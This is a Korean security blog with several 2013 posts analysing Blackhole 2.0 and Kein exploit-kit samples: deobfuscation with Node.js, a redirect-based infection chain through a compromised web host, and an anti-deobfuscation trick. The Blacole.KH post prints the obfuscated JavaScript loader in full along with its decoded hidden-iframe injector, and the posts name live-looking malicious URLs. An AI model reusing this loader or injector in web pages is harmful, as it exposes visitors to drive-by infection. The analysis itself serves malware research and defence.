2013년 2월 18일 월요일

Node.js 와 BlackHole 2.0 Exploit

BlackHole 2.0 Exploit 샘플을 Node.js를 이용하여 분석할려고 합니다.

Node.js를 사용하여 분석한 이유는 인터프리터 방식이기 때문에 자바스크립트 코드를 한줄 한줄 실행해가며 결과를 볼 수 있는 장점이 있기 때문입니다. 비록 브라우저가 아닌 콘솔 환경에서 결과물을 보기 때문에 사용에 불편함이 있지만 사용해볼 가치가 있습니다.

이 글에서는 Node.js를 설치하는 방법은 다루지 않겠습니다. 그 방법은 구글링 해보시기 바라며, BlackHole 2.0 Exploit 샘플을 분석해보겠습니다.

해당 샘플은 다음과 같이 3가지 부분으로 이루어져 있습니다:
[그림 1] BlachHole 2.0 Exploit 샘플

(1)  인코딩된 URL 로딩(특정 자바 취약점을 일으키는 JAR 파일 로딩 )
인코딩된 URL(N0b0909041f3131041a43431a001a223844213219353c3a350931003509353809193104431a323a2211351e28171a44000c283505323a3a323a052223173a320917443c040b043d2c2c391c2908181c3e1c3e1c1a020a35391c3408081c081c3e0842082b1c291c271c271c280217391c2702430a3905022c2c3928)이 Param태그("uid"로 네이밍)의 value에 할당된것을 볼 수 있습니다. 인코딩된 URL은 특정 키 값에 의해 해제할 수 있으며, 해당 키값을 얻으려면 특정 URL 정보가 필요합니다.
해당 샘플의 경우에는 특정 URL 정보(http://pallada-cruise.net/detects/plain-keyboard_beginning-monitor.php?fpdz=073809090a&lxrpa=4547&ryz=chh&bxkrc=ruuwzhkb) 존재하기 때문에 디코딩된 URL 을 다음과 같이 얻을 수 있습니다.
Secret Decoder Ring 툴을 이용했습니다.
[그림 2] URL 인코딩

(2) 난독화된 데이터
이 데이터는 디코딩 로직에 의해 풀려서 실행됩니다.
다수의 자바 취약점에 의해 사용자 PC에서 악성파일을 다운로드 및 실행시켜 악성 행위를 합니다.

(3) 디코딩 로직
디코딩 로직은 자바스크립트로 작성됐습니다. 해당 로직을 Node.js를 이용하여 관련 코드를 한줄 한줄 실행해 보겠습니다.

- 1. 각각의 변수에 필요한 함수 객체를 할당하였습니다.
[그림 3] 변수 할당(함수 객체)

- 2.  "google" 이라는 아이디를 가진 U 태그의 각 변수( d[0~94] 형식 )에 난독화 데이터를 할당했습니다.
95개의 변수에 난독화 데이터를 할당하는 일은 노가다성(?)이 짙기 때문에 분석을 위해서는 변수 하나에 할당하도록 하겠습니다(Node.js에서는 콘솔 환경이라서 난독화 데이터 할당후, 데이터가 일부만 보입니다).
[그림 4] 변수 할당(난독화 데이터)

[그림 5] 변수 할당(난독화 데이터)

- 3. 난독화 데이터에서 영문소문자(a-z ) 와 숫자(0-9)를 제외한 나머지 문자를 제거했습니다.
[그림 6] 특정 문자 제거(난독화 데이터)

- 4. 난독화 데이터의 각 문자(유니코드숫자)를 두자리씩 끊어서 28진수 데이터로 변환한 다음, String.fromCharCode 함수를 이용하여 문자로 변환하여 난독화 데이터를 디코딩합니다. 이 부분은 BlackHole 2.0 Exploit 샘플마다 다릅니다. 하지만 변환후 eval 함수를 통하여 실행 시키는 방식은 동일합니다.
때문에 BlackHole 2.0 Exploit 샘플을 볼 때, 난독화 디코딩 코드만 유의하여 보면 난독화 해제하기가 쉽습니다.
[그림 7] 난독화 데이터 디코딩

디코딩 코드에서 난독화를 해제한 다음 s 변수에 저장한것을 볼 수 있습니다.
해당 변수를 eval함수를 이용하여 실행하면 취약점이 있는 웹브라우저에서는 악성코드를 다운로드 받음 다음 실행됩니다. 따라서 Node.js에서 디코딩 코드를 볼려면 eval 함수를 console.log 함수로 변환하여 실행하면 됩니다.
[그림 8] 난독화 데이터 디코딩 결과

이러한 방법으로 우리는 Node.js를 이용하여 BlackHole 2.0 Exploit 샘플을 분석할 수 있었습니다. 아마 해당 샘플을 대략적으로 이해하는데 도움이 되셨으리라고 생각됩니다 :-). 이 글을 읽으시는 분들이 다른 샘플도 저와 같은 방법으로 분석해보면 난독화 샘플의 로직을 이해하는데 도움이 될것으로 생각됩니다.

2013년 2월 15일 금요일

Blackhole Toolkit 흐름도

q  개요

2012 9 Blackhole Exploit Toolkit의 최신버전인 Ver2.0에 대한 정보가 해외 보안사이트에서
확인 되었습니다. 그리고 9월 말 국내에서 Blackhole Exploit Toolkit 2.0을 이용한 악성코드 유포로
의심되는 이벤트가 발생되어 전체적인 흐름을 파악하기 위해 작성하였습니다. 오늘날까지 조금씩 변종되어
툴킷은 지속적으로 발생하고 있습니다.


q  악성코드 유포 흐름

1.    악성코드 유포 흐름도
- 해커가 Webhosting 업체를 장악 후 서비스를 받는 하위 웹사이트들을 이용하여 악성코드 유포 행위 포착

[그림 1. 악성코드 유포 흐름도]
√ 해커가 웹 호스트 업체 서버 장악 및 악성코드 유포지 선점
√ 사용자가 해당 업체에서 서비스 받는 웹사이트 접속 시 악성코드 유포지로 이동 (302 Redirection)
√ 악성코드 유포지로부터 악성파일이 설치되어 개인정보 유출
 
2.    확인된 악성코드 유포지 LIST (2012 10월 기준)

[그림 2. 악성코드 유포지 현황]


q  악성코드 분석

1.    요약

[그림 3. 악성코드 흐름도]
   사용자가 위/변조된 사이트(gxxxxx.co.kr/index.html) 접속 후 Blank.php 페이지 접속
   blank.php 코드의 특정조건(port:80 )에 맞으면 악성코드 유포지(Index_old.php) 302 redirect  
   시키고, 다르면 정상페이지로 이동
  paros 등을 사용하여 분석 시 어렵게 하기 위한 행위로 추정
   Index_old.php 코드에 의해 navigator.useragent 환경을 체크하여 복호화 수행
   Index2.php 코드는 러시아 성인사이트로 접속과 동시에 다양한 취약점을 내포하고 있는 main.php (blackhole exploit toolkit) 코드로 이동
   main.php 코드는 Java, PDF 취약점 존재 시 최종 악성파일을 다운받아 실행되도록 구현
   최종 악성파일(info.exe) 감염 시 외부로 SMTP 트래픽을 발생



2. 상세 분석

1) index.html (gxxxxx.co.kr/index.html)
- 해커가 삽입한 페이지로 추정되며 악성파일 다운로드를 유도하는 "blank.php" 와 정상 사이트의
  메인 페이지인 "main.php" 로 이동되게 구성



[그림 4. index.html 소스코드]

2) blank.php (gxxxxx.co.kr/blank.php)
- 특정조건(Port:80) 에 의해 맞으면 302 Redirection 기법으로 “index_old.php” 페이지로 이동

 
 [그림 5. Blank.php 접속화면]


3) index_old.php (wkxxxk.in/index_old.php -> wkxxxk.in/blank.php)
- index_old.php 코드에 의해 이동된 blank.php 파일은 난독화된 페이지로 “index2.php” 페이지로
접속을 유도하는 역할
- “navigator.useragent” 함수에 의해 분석자의 환경이 조건에 맞지 않는 경우 동작하지 않음
실제 분석 시 일부 코드를 수정하여 난독화 진행

[그림 6. Index_old.php 난독화]

4) index2.php (wkxxxk.in/index2.php)
- “blank.php” 와 동일한 방식으로 난독화된 페이지로 다양한 취약점을 내포하고 있는 “main.php”
   페이지로 접속을 유도하는 역할

[그림 7. index2.php 난독화]

5) main.php (wkxxxk.in/main.php)
- Blackhole Exploit Toolkit 2.0 Main으로 세 부분의 코드로 구분하여 확인
첫 번째 부분: “frame1.php” 페이지로 이동시키는 부분
두 번째 부분: PDF 취약점을 이용한 악성파일 다운로드 시도
세 번째 부분: java 취약점을 이용한 악성파일 다운로드 시도

첫 번째 부분 분석

 ≫ “blank.php” 와 동일한 패턴으로 난독화되어 있으며, “frame1.php” 페이지로 유도
A. 난독화 코드의 key 값을 찾은 후 “docment.write”를 이용하여 난독화 해제
    - “%(HEX) %(HEX)… “ 형태의 쉘코드 값을 확인
[그림 8-1. main.php 첫 번째 부분 난독화]

B. A에서 얻은 결과값에서 “%”를 모두 제거 후 malzilla Tool을 이용하여 XOR 연산
 - malzilla Tool을 사용하여 “http” 문자열의 Key 값을 찾아 XOR 연산
   - iframe 태그로 “wkmyk.in/frame1.php?src=14…” 연결 확인

[그림 8-2. main.php 첫 번째 부분 난독화]

≫ frame1.php 분석: “frame1.php”특정페이지로 접속을 시도하는 부분과 취약점을 이용하여  쉘코드를 실행하는 두 부분으로 이루어져 있다
A. iframe 태그를 이용하여 “frame2.php”으로 연결을 시도
  ⇒ “frame2.php접속 시 해당페이지는 존재하지 않음 (404 Not Found)

[그림 9-1. frame1.php 소스]

B. 취약점을 이용하여 쉘코드를 실행시키는 것으로 추정되지만, 코드가 손상되어 재현되지 않음

[그림 9-2. frame1.php 소스]

두 번째 부분 분석 (PDF 취약점)
 PDF 취약점을 이용한 ~/content/ap2.php (e8a11.pdf) 파일이 실행되어 악성코드에 감염
 A. PDF 파일에 삽입된 난독화 코드 복호화
[그림 10. ap2.php 복호화 과정]

▶ 세 번째 부분 분석 (Java 취약점)
- Java 취약점이 존재할 경우 Gam.jar 파일과 value 값을 이용하여 악성코드 유포지로 이동
- 제작자가 자신만의 키 값을 이용하여 value 값을 난독화
- “Secret Decoder Ring” Tool을 사용하여 악성코드 유포지 확인

[그림 11. main.php 세 번째 부분 난독화]


6) info.exe (wkxxk.in/g.php?f=952f5)
- Call 함수 내부 반복문 실행을 통하여 URL정보를 획득
악성코드 감염 시 사용자 정보를 수집하여 “http://wkxxxk.in/data/1209291325-2b51c555ec/590”에 전송 후
  응답에 따라 추가 행위를 할 것으로 추정되나 재현되지 않음
 


[그림 12. URL 정보 호출]

2013년 2월 14일 목요일

Exploit:JS/Blacole.KH (Microsoft)

우연히 해외 사이트를 보던 도중 Exploit 을 보아서 이렇게 써봅니다.

우선은 배치된 코드는 다음과 같습니다.


try{bgewg346tr++}catch(aszx){try{dsgdsg-142}catch(dsfsd){try{("".substr+"")()}catch(ehwdsh){try{window.document.body++}catch(gdsgsdg){dbshre=204;}}}}
if(dbshre){asd=0;try{d=document.createElement("div");d.innerHTML.a="asd";}catch(agdsg){asd=1;}if(!asd){e=eval;}
asgq=new Array
(1,2,99,97,28,32,93,105,94,113,101,94,104,111,42,95,94,110,64,104,93,102,95,105,112,107,59,115,
79,93,95,71,91,104,97,32,32,92,106,96,113,32,35,86,44,85,34,117,8,5,1,2,99,97,110,89,102,95,109,
36,33,52,7,4,5,117,25,95,103,111,93,25,117,8,5,1,2,94,106,95,109,102,95,105,112,38,112,108,100,
112,93,33,28,55,101,94,107,91,104,97,24,108,108,94,57,31,97,110,111,108,50,40,41,96,106,100,90,
108,98,97,101,94,104,111,48,38,105,108,106,43,101,98,97,99,112,39,93,108,106,108,104,98,104,98,
91,97,103,109,111,93,100,101,99,105,99,38,105,98,107,35,24,112,99,95,112,96,54,33,44,44,31,25,98,
96,101,95,97,110,56,35,41,41,33,27,111,108,114,102,96,57,31,112,99,95,112,96,51,43,43,44,104,113
,53,99,97,97,96,98,111,54,41,41,42,107,116,51,105,105,110,101,108,98,105,105,54,89,91,109,106,104,
109,109,95,54,104,93,95,110,53,41,41,41,42,107,116,51,109,105,107,54,40,52,33,57,56,39,98,96,109,
93,101,94,56,29,37,51,6,3,4,121,5,2,3,97,113,102,92,110,100,107,102,25,99,97,110,89,102,95,109,36,
33,116,[생략]96,35,33,52,96,41,111,93,109,59,111,112,106,98,92,112,112,93,33,33,110,110,91,32,38,
34,100,108,109,106,53,43,39,94,104,103,93,106,96,95,104,97,102,109,46,41,108,106,104,41,104,101,95,
97,110,42,96,106,104,106,107,101,102,96,89,100,106,107,109,91,103,104,97,103,97,41,108,96,105,33,36
,55,94,39,109,111,117,100,94,40,103,97,94,109,55,34,41,41,41,42,107,116,31,52,96,41,111,108,114,102,
96,42,108,104,106,56,35,40,32,53,97,42,107,109,115,103,97,38,105,105,110,101,108,98,105,105,57,31,
90,92,110,107,100,110,110,96,35,51,95,40,110,112,113,101,95,41,104,93,95,110,56,35,40,32,53,97,42,
107,109,115,103,97,38,109,105,107,57,31,41,33,54,98,38,108,95,111,61,108,109,108,100,94,109,109,
95,35,35,111,98,94,111,100,31,37,33,44,44,31,34,53,97,42,107,94,110,60,112,108,107,99,93,113,108
,94,34,34,100,93,98,97,99,112,31,37,33,44,44,31,34,53,8,5,1,2,94,106,95,109,102,95,105,112,38,96,
95,111,65,100,94,103,96,106,108,108,60,116,80,89,96,72,92,105,93,33,33,93,107,92,114,33,36,87,40,
86,40,92,108,104,94,104,95,63,96,98,102,95,36,94,34,53,8,5,1,118);
s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));}
z=s;e(z);}


asgq=new Array 로 정의 되어 있는 코드는 정상적인 아스키코드가 아닙니다.
일반 String.fromCharCode를 통해서 출력을 해보면.. 다음과 같은 문자가 나옵니다!



ca ]i^qe^ho*_^n@h]f_ipk;sO]_G[ha \j`q #V,U"u canYf_m$!4 u _go] u ^j_mf_ip&pldp]! 7e^k[ha ll^9 anol2()`jdZlbae^ho0&ilj+ebacp']ljlhbhb[agmo]decic&ibk# pc_p`6!,, b`e_an8#))! olrf`9 pc_p`3++,hq5caa`bo6))*kt3iinelbii6Y[mjhmm_6h]_n5)))*kt3mik6(4!98'b`m]e^8 %3 y aqf\ndkf canYf_m$!t o[m ^ 7 `g\ohafm(^n]Zn`Ad^g`jl!!dbjZg`#!4`)o]m;opjb\pp]!!nn[ &"dlmj5+'^hg]j`_hafm.)ljh)he_an*`jhjkef`Ydjkm[ghaga)l`i!$7^'moud^(ga^m7")))*kt 4`)olrf`*lhj8#( 5a*kmsga&iinelbii9 Z\nkdnn`#3_(npqe_)h]_n8#( 5a*kmsga&mik9 )!6b&l_o=lmld^mm_##ob^od %!,, "5a*k^n

이와 같이 정상적인 아스키코드로 나오지 않습니다.

그렇다면 다시 코드를 살펴보면 다음과 같습니다.



s="";for(i=0;i-637!=0;i++){if(020==0x10)s+=String.fromCharCode(1*asgq[i]-(i%5-8));

즉... i=0; i-637!=0;i++ ->  i-637 값이 0이 아닐때까지 루핑을 한다는 뜻입니다.
결론적으로   i-637!이 0에 도달하면 이 함수는 끝이나게 됩니다.
i++와 같이 계속 1씩 증가함으로 637이 되는순간 함수는 끝나게 됩니다.

다음오로 {if(020==0x10)s+ 은 -> 020 == 10진수일경우 s가 증가 하게 됩니다.

그렇다면 어떤한 방식으로 다시 배치를 하는걸 까요?? 바로 String.fromCharCode(1*asgq[i]-(i%5-8)); 입니다.
asgq=new Array 에서 처음이 1이니 1*1-(i->0%5-8) 이런식으로 계산을 하게 됩니다.


이를 바탕으로 연산과정을 거치면 ! 연결된 링크를 볼수 있습니다 : )




if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://enlargement4.pro/might/dropping_installing.php' width='10' height='10' style='width:100px;height:100px;position:absolute;left:-100px;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://enlargement4.pro/might/dropping_installing.php');f.style.left='-100px';f.style.top='0';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}


바이러스 토탈 링크 :
https://www.virustotal.com/ko/file/becc92d0fa7e355e231c3b9da797a5e8fa9b39ef79ab6da48e98b5e20e1d685a/analysis/1360839068/


우선 처음으로 작성을 해보았는데.. 부족한 접이 있더라도 이해해 주세요~
틀린점이 있다면 지적을 해주셔도 좋습니다 : )




2013년 2월 10일 일요일

arguments.callee.replace 함수 사용한 트릭

Kein Exploit Pack에 대해서 소개할려고 합니다.
(관련 자료: http://www.kahusecurity.com/2012/analyzing-a-new-exploit-pack/ )

기존 난독화 스크립트에서 사용되는 기법들을 사용하지만, 난독화를 푸는데 방해되는 기술도 사용되고 있어서 소개할려고 합니다(GongDa Pack 역시 그러한 방법을 사용한다.).


[그림 1] Kein Exploit Pack

해당 익스플로잇 팩의 특징을 정리하면 다음과 같습니다:

(1) 사용되지 않는 변수를 할당합니다.
var hBlVmc = 'LKfWVO';
var YzsqfO = 'pahaS';

(2) 항상 조건이 거짓이라서 결코 실행되지 않는 함수를 정의합니다.
function rFQggZ() {
   var FOSybf = 'UKSSIA';
   NCYz = 'KpDjS';
   if (NCYz == 'WgPO') UAwz(); // UAwz 함수는 결코 실행되지 않습니다.
}

(3) 코드 변경을 막기 위한 트릭을 사용했습니다.
arguments.callee.replace() 함수를 사용함으로 난독화 푼 코드를 출력하기 위해 document.write 혹은 alert 함수를 추가하여 사용할 수 없게 했습니다.

다시 말하면, 해당 익스플로잇 팩처럼 난독화 해제하는 함수가 자기 자신(난독화 해제 함수 코드)을 입력으로 사용하여 난독화를 푸는 경우에 이러한 함수을 사용하면, 변수와 함수명을 변경할 경우 난독화 해제된 코드도 변경되어 제대로 된 결과물을 볼 수 없습니다. 참고로 GongDa Pack 의 경우는 해당 함수를 사용하지 않지만, 난독화 해제 함수를 XOR 연산 키로 사용하여 난독화를 풀기 때문에, 난독화 해제 함수를 수정하여 비난독화를 할 수 없게 했습니다.

이러한 트릭은 오래전부터 사용된 방법으로서 난독화 해제를  막기 위한 한가지 방법입니다.

(3)번째 특징을 이용하여 해당 샘플은 다음과 같은 코드를 사용하였습니다.

[그림 2] 코드 변경을 막기 위한 트릭

위의 코드는 자신을 호출한 함수 - 난독화 해제하는 함수 - 의 코드를 가져와서 공백 및 특수 문자를 제거한 뒤 wJSXWKz 변수에 할당합니다.

따라서 비난독화 함수의 코드가 실제로 변경되면 wJSXWKz 변수의 값 역시 변경됨으로 비난독화를 제대로 할 수 없게 됩니다.

실제로 난독화가 해제된 코드를 출력하기 위해 document.write 함수를 추가하여 출력했을 때 다음과 같이 비난독화가 제대로 안된 코드가 보여집니다.

[그림 3] 코드 변경을 막기 위한 트릭으로 인해 비난독화가 제대로 안된 코드

그러면 어떻게 Kein Exploit Pack의 난독화된 스크립트를 풀 수 있을까?

다음과 같이 코드를 변경 및 추가하면 wJSXWKz 변수에 할당된 값의 변동없이 난독화를 풀 수 있습니다.

(변경전)

(변경 및 추가후)
[그림 4] 난독화 해제를 위해 변경 및 추가된 코드

위와 같은 방법으로 난독화를 해제하면 다음과 같이 난독화 해제된 코드를 볼 수 있습니다.


[그림 5] 난독화가 해제된 코드